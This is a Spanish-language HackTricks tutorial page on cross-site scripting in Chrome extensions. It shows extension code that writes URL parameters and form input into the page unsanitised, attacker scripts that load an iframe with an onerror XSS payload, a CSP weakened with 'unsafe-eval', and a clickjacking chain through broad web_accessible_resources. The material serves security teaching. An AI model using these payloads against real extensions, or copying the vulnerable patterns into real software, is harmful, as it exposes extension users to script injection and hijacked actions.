BrowExt - XSS Example

Aprende hacking en AWS de cero a héroe con htARTE (Experto en Equipos Rojos de AWS de HackTricks)!

Otras formas de apoyar a HackTricks:

Cross-Site Scripting (XSS) a través de Iframe

En esta configuración, se implementa un script de contenido para instanciar un Iframe, incorporando una URL con parámetros de consulta como la fuente del Iframe:

chrome.storage.local.get("message", result => {
let constructedURL = chrome.runtime.getURL("message.html") +
"?content=" + encodeURIComponent(result.message) +
"&redirect=https://example.net/details";
frame.src = constructedURL;
});

Una página HTML de acceso público, message.html, está diseñada para agregar dinámicamente contenido al cuerpo del documento basado en los parámetros en la URL:

$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search);
let userContent = urlParams.get("content");
$(document.body).html(`${userContent} <button id='detailBtn'>Details</button>`);
$('#detailBtn').on('click', () => {
let destinationURL = urlParams.get("redirect");
chrome.tabs.create({ url: destinationURL });
});
});

Un script malicioso se ejecuta en la página de un adversario, modificando el parámetro content de la fuente del Iframe para introducir un payload XSS. Esto se logra actualizando la fuente del Iframe para incluir un script dañino:

setTimeout(() => {
let targetFrame = document.querySelector("iframe").src;
let baseURL = targetFrame.split('?')[0];
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>";
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`;

document.querySelector("iframe").src = maliciousURL;
}, 1000);

Una Política de Seguridad de Contenido excesivamente permisiva como:

"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"

Permite la ejecución de JavaScript, lo que hace que el sistema sea vulnerable a ataques XSS.

Un enfoque alternativo para provocar el XSS implica crear un elemento Iframe y establecer su origen para incluir el script dañino como el parámetro content:

let newFrame = document.createElement("iframe");
newFrame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>");
document.body.append(newFrame);

XSS basado en DOM + ClickJacking

Este ejemplo fue tomado del post original.

El problema principal surge de una vulnerabilidad de Cross-site Scripting (XSS) basada en DOM ubicada en /html/bookmarks.html. El JavaScript problemático, parte de bookmarks.js, se detalla a continuación:

$('#btAdd').on('click', function() {
var bookmarkName = $('#txtName').val();
if ($('.custom-button .label').filter(function() {
return $(this).text() === bookmarkName;
}).length) return false;

var bookmarkItem = $('<div class="custom-button">');
bookmarkItem.html('<span class="label">' + bookmarkName + '</span>');
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>');
bookmarkItem.attr('data-title', bookmarkName);
bookmarkItem.data('timestamp', (new Date().getTime()));
$('section.bookmark-container .existing-items').append(bookmarkItem);
persistData();
});

Este fragmento obtiene el valor del campo de entrada txtName y utiliza concatenación de cadenas para generar HTML, que luego se añade al DOM utilizando la función .append() de jQuery.

Normalmente, la Política de Seguridad de Contenido (CSP) de la extensión de Chrome evitaría tales vulnerabilidades. Sin embargo, debido a la relajación de CSP con 'unsafe-eval' y al uso de los métodos de manipulación del DOM de jQuery (que emplean globalEval() para pasar scripts a eval() al insertar en el DOM), la explotación sigue siendo posible.

Aunque esta vulnerabilidad es significativa, su explotación suele depender de la interacción del usuario: visitar la página, introducir un payload XSS y activar el botón "Agregar".

Para potenciar esta vulnerabilidad, se explota una vulnerabilidad secundaria de clickjacking. El manifiesto de la extensión de Chrome muestra una extensa política web_accessible_resources:

"web_accessible_resources": [
"html/bookmarks.html",
"dist/*",
"assets/*",
"font/*",
[...]
],

Notablemente, la página /html/bookmarks.html es propensa al enmarcado, por lo tanto vulnerable al clickjacking. Esta vulnerabilidad se aprovecha para enmarcar la página dentro del sitio de un atacante, superponiéndola con elementos DOM para rediseñar la interfaz de manera engañosa. Esta manipulación lleva a las víctimas a interactuar con la extensión subyacente de manera no intencionada.

Referencias

Aprende hacking de AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización